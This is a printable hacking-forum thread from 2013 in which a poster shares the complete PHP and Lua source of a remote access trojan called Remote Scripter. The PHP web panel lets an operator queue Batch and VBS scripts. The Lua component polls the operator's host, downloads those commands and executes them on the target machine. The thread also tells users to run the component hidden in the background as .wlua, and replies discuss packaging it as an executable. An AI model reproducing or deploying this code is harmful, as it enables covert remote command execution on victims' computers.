![]() |
|
[PHP - Lua] RAT - Remote Scripter v1.0 - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Hacking (https://sinister.li/Forum-Hacking) +--- Forum: Remote Administration & Stress Testing (https://sinister.li/Forum-Remote-Administration-Stress-Testing) +--- Thread: [PHP - Lua] RAT - Remote Scripter v1.0 (/Thread-PHP-Lua-RAT-Remote-Scripter-v1-0) |
[PHP - Lua] RAT - Remote Scripter v1.0 - noize - 06-09-2013 Remote Scripter v1.0 The first PHP/Lua RAT. This RAT has been inspired by PHP rats (like Loki-RAT) and especially by @static_cast's HC RAT. This is not going as an HC official tool as that RAT already exists. It's a non irrelevant problem the fact that the server is coded in Lua, in fact the server host will need to have installed Lua. If anyone knows a proper way of taking this Lua file to an executable (any way), please, let me know. All ways I tried didn't work correctly. Client Code: <?php
$bar = "################################################################";
?>
<html>
<head>
<title>Remote Scripter | V1.0</title>
<style>
body {
background: #000;
color: #00ff00;
font-family: Verdana, Arial, Helvetica;
}
body a:link {
color: blue;
text-decoration: none;
}
body a:visited {
color: blue;
text-decoration: none;
}
body a:hover {
color: blue;
text-decoration: underline;
}
#main {
position: absolute;
top: 15px;
left: 10px;
padding-right: 14px;
width: 658px;
font-size: 13px;
border: 1px solid #8C8C8C;
}
#main2 {
position: absolute;
top: 15px;
left: 694px;
width: 658px;
font-size: 13px;
border: 1px solid #8C8C8C;
}
#inside {
position: relative;
margin-top: 5px;
margin-bottom: 5px;
margin-left: 9px;
}
.code {
left: 0px;
width: 630px;
height: 460px;
background-color: #191919;
color: grey;
border: 1px solid grey;
}
.button {
left: 0px;
width: 630px;
height: 42px;
background-color: #191919;
color: grey;
}
#footer {
position: absolute;
bottom: 5px;
left: 369px;
font-family: verdana;
color: #666;
font-size: 12px;
}
</style>
<script type="text/javascript">
window.onload = function() {
document.getElementById('batch').focus();
}
</script>
</head>
<body>
<div id="main">
<div id="inside">
<?php echo $bar; ?><br>
<font face="sans-serif" size="4" color="white"><b>Noize's Remote Scripter | Batch</b></font><br>
<?php echo $bar; ?><br>
<form method='post' action='' style="position: relative; left: 6px;">
<br>
<textarea name="batch" id="batch" class="code" placeholder="Type your Batch script for remote execution"></textarea>
<br>
<input type="submit" value="Run" class="button" /><br>
<input type="hidden" name="submit_batch" />
</form>
<?php echo $bar; ?><br>
</font>
</div>
</div>
<div id="main2">
<div id="inside">
<?php echo $bar; ?><br>
<font face="sans-serif" size="4" color="white"><b>Noize's Remote Scripter | VBS</b></font><br>
<?php echo $bar; ?><br>
<form method='post' action='' style="position: relative; left: 6px;">
<br>
<textarea name="vbs" id="vbs" class="code" placeholder="Type your VBS script for remote execution"></textarea>
<br>
<input type="submit" value="Run" class="button" /><br>
<input type="hidden" name="submit_vbs" />
</form>
<?php echo $bar; ?>
</font>
</div>
</div>
<?php
if (!file_exists("batch.txt")) {
file_put_contents("batch.txt", "");
}
if (!file_exists("vbs.txt")) {
file_put_contents("vbs.txt", "");
}
if(isset($_POST['submit_batch'])) {
$batch = $_POST['batch'];
file_put_contents("batch.txt", $batch);
}
if(isset($_POST['submit_vbs'])) {
$vbs = $_POST['vbs'];
file_put_contents("vbs.txt", $vbs);
}
?>
</div>
<div id="footer">
© Coded by Noize at <a href="http://hackcommunity.com">www.hackcommunity.com</a> · Special thanks go to static_cast · All rights are shit
</div>
</body>
</html>Server Code: -------------------------------------------
-- Remote Scripter V1.0
-------------------------------------------
-- Coded by noize at www.hackcommunity.com
-- Special thanks to:
-- ArkPhaze
-- static_cast
-------------------------------------------
local http = require("socket.http")
local ltn12 = require("ltn12")
function readf(file)
local f = io.open(file, "r")
if not f then return nil end
return f:read("*a")
end
function writef(file, text)
local f = io.open(file, "w")
f:write(text)
f:close()
end
function httpget(str)
http.request{
url = str,
sink = ltn12.sink.file(io.open("content.txt", "w"))
}
end
while 1==1 do
port = 80
bat = readf("server.txt") .. "/batch.txt"
vbs = readf("server.txt") .. "/vbs.txt"
httpget(bat)
batcmd = readf("content.txt")
httpget(vbs)
vbscmd = readf("content.txt")
os.remove("content.txt")
if batcmd ~= nil then -- if there's any remote command
if readf("cmd.bat") ~= batcmd then -- if cmd.bat != remote command
writef("cmd.bat", batcmd) -- write new commands to cmd.bat
os.execute("cmd.bat") -- run cmd.bat
end
end
if vbscmd ~= nil then -- do the same for the VBS part
if readf("cmd.vbs") ~= vbscmd then
writef("cmd.vbs", vbscmd)
os.execute("cmd.vbs")
end
end
curt = os.clock()
while curt + 0.5 >= os.clock() do end
end6/10/13 - update: server code updated in order to avoid too many requests to be sent to the web server. Now sending something about 3.6/3.8 requests per second (also depening on your connection), which is tons less than before and still more than reasonable.. Just upload the client to your server and load the page. On first load it will create the files batch.txt and vbs.txt. You'll see two textareas, there you can type your Batch and VBS scripts for remote execution. The server file looks for the server.txt file in the current directory to read its content. Its content must be the URL to the directory where you uploaded the client. E.g: I upload my client to www.host.com/remotescripter/byNoize/client.php, my server.txt file will be: Code: http://www.host.com/remotescripter/byNoizePlease, note that it won't work if you omit the "http://". You might instead edit the source code, so to make the server.wlua file point directly to your server with no dependance from a server.txt file. Save the Lua file with the wlua extension to make it run in background, or you can save it in .lua and then run it with the command: Code: wlua server.luaScreenshot (client) ![]() Edit: I'll soon release a new Lua RAT where both client and server are coded in Lua and where data is sent through TCP. RE: [PHP - Lua] RAT - Remote Scripter v1.0 - Deque - 06-09-2013 Quote:If anyone knows a proper way of taking this Lua file to an executable (any way), please, let me know. All ways I tried didn't work correctly. Use srlua, L-Bia or use another programming language ![]() I don't know if you already tried these. RE: [PHP - Lua] RAT - Remote Scripter v1.0 - noize - 06-09-2013 Quote:I don't know if you already tried these. Not sure but I'll surely try them both later tonight. (06-09-2013, 03:45 PM)Deque Wrote: or use another programming language Can't do that in my language? I learn a new programming language.
RE: [PHP - Lua] RAT - Remote Scripter v1.0 - noize - 06-09-2013 Neither srlua or L-bia worked. RE: [PHP - Lua] RAT - Remote Scripter v1.0 - ArkPhaze - 06-10-2013 Cool work, something different.
RE: [PHP - Lua] RAT - Remote Scripter v1.0 - CrackeRR - 04-14-2014 first time i see this , good work (Y) respect
|